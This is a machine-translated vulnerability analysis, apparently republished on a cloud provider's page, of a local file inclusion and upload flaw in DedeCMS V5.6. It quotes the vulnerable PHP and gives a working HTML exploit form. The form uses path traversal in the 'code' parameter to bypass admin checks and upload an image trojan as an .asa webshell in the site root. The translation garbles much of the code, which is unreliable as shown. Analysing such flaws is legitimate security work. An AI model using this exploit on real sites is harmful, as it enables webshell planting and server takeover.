DedeCmsV5.6 local inclusion Upload Vulnerability Analysis

Source: Internet
Author: User

Vulnerability file: plus/carbuyaction. php

<? Php

Require_once (dirname (_ FILE _). "/../include/common. inc. php ");

Define (_ PLUS_TPL _, DEDEROOT./templets/plus );

Require_once DEDEINC./dedetemplate. class. php;

Require_once DEDEINC./shopcar. class. php;

Require_once DEDEINC./memberlogin. class. php;



If ($ pai_mb_open = N)

{

ShowMsg ("the membership function is disabled, so you cannot access this page! "," Javascript :;");

Exit ();

}



$ Pai_ml = new MemberLogin ();



If (! Isset ($ dopost) | empty ($ dopost) {// As long as $ dopost is not empty, By: I am from rural areas.

...

} Elseif ($ dopost = return ){

Require_once DEDEINC./payment/. $ code.. php; // The variable $ code is not initialized. By: I am from rural areas.

$ Pay = new $ code;

$ Msg = $ pay-> respond ();

ShowMsg ($ msg, "javascript:;", 0,3000 );

Exit ();

}

?>
 
<Form action = "http: // localhost: 8090/plus/carbuyaction. php? Dopost = return & action = xxx & code = .. /.. /include/dialog/select_soft_post "method =" post "enctype =" multipart/form-data "name =" QuickSearch "id =" QuickSearch ">
<Input type = "hidden" name = "newname" value = "1.asa">
<Input type = "file" name = "previusfile">
<Input type = "submit" value = "Search" name = "QuickSearchBtn">
</Form>

Upload an image Trojan (only rename the image type after modification) to generate a 1.asa file in the root directory of the website.

Simple Analysis: file: select_soft_post.php
<? Php
If (! Isset ($ pai_basedir ))
{
Include_once (dirname (_ FILE _)./config. php );
}
// Config. php is used to verify whether it is an administrator. Because of local inclusion, the value of $ pai_basedir has been set and verification should be skipped.


// File name (manually specified before, automatically processed by the latter)
If (! Empty ($ newname ))
{
$ Filename = $ newname;
If (! Ereg (".", $ filename) $ fs = explode (., $ PreviousFile_name );
Else $ fs = explode (., $ filename );
If (eregi ($ resource_not_allowall, $ fs [count ($ fs)-1])
{
ShowMsg ("the file name you specified is forbidden by the system! ", Javascript :;);
Exit ();
}
If (! Ereg (".", $ filename) $ filename = $ filename... $ fs [count ($ fs)-1];
} Else {
$ Filename = $ cuserLogin-> getUserID ().-. dd2char (MyDate (ymdHis, $ nowtme ));
$ Fs = explode (., $ previusfile_name );
If (eregi ($ resource_not_allowall, $ fs [count ($ fs)-1])
{
ShowMsg ("You have uploaded some files that may be insecure, and the system rejects the operation! ", Javascript :;);
Exit ();
}
$ Filename = $ filename... $ fs [count ($ fs)-1];
}


The problem lies in $ newname. the upload type is not verified, but the non-resumable upload type is verified.

// Some file types specified here are forcibly prohibited from uploading
$ Pai_not_allowall = "php | pl | cgi | asp | aspx | jsp | php3 | shtm | shtml ";


That is to say, you can upload non-files of the above type, and sometimes it is not a problem ..

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.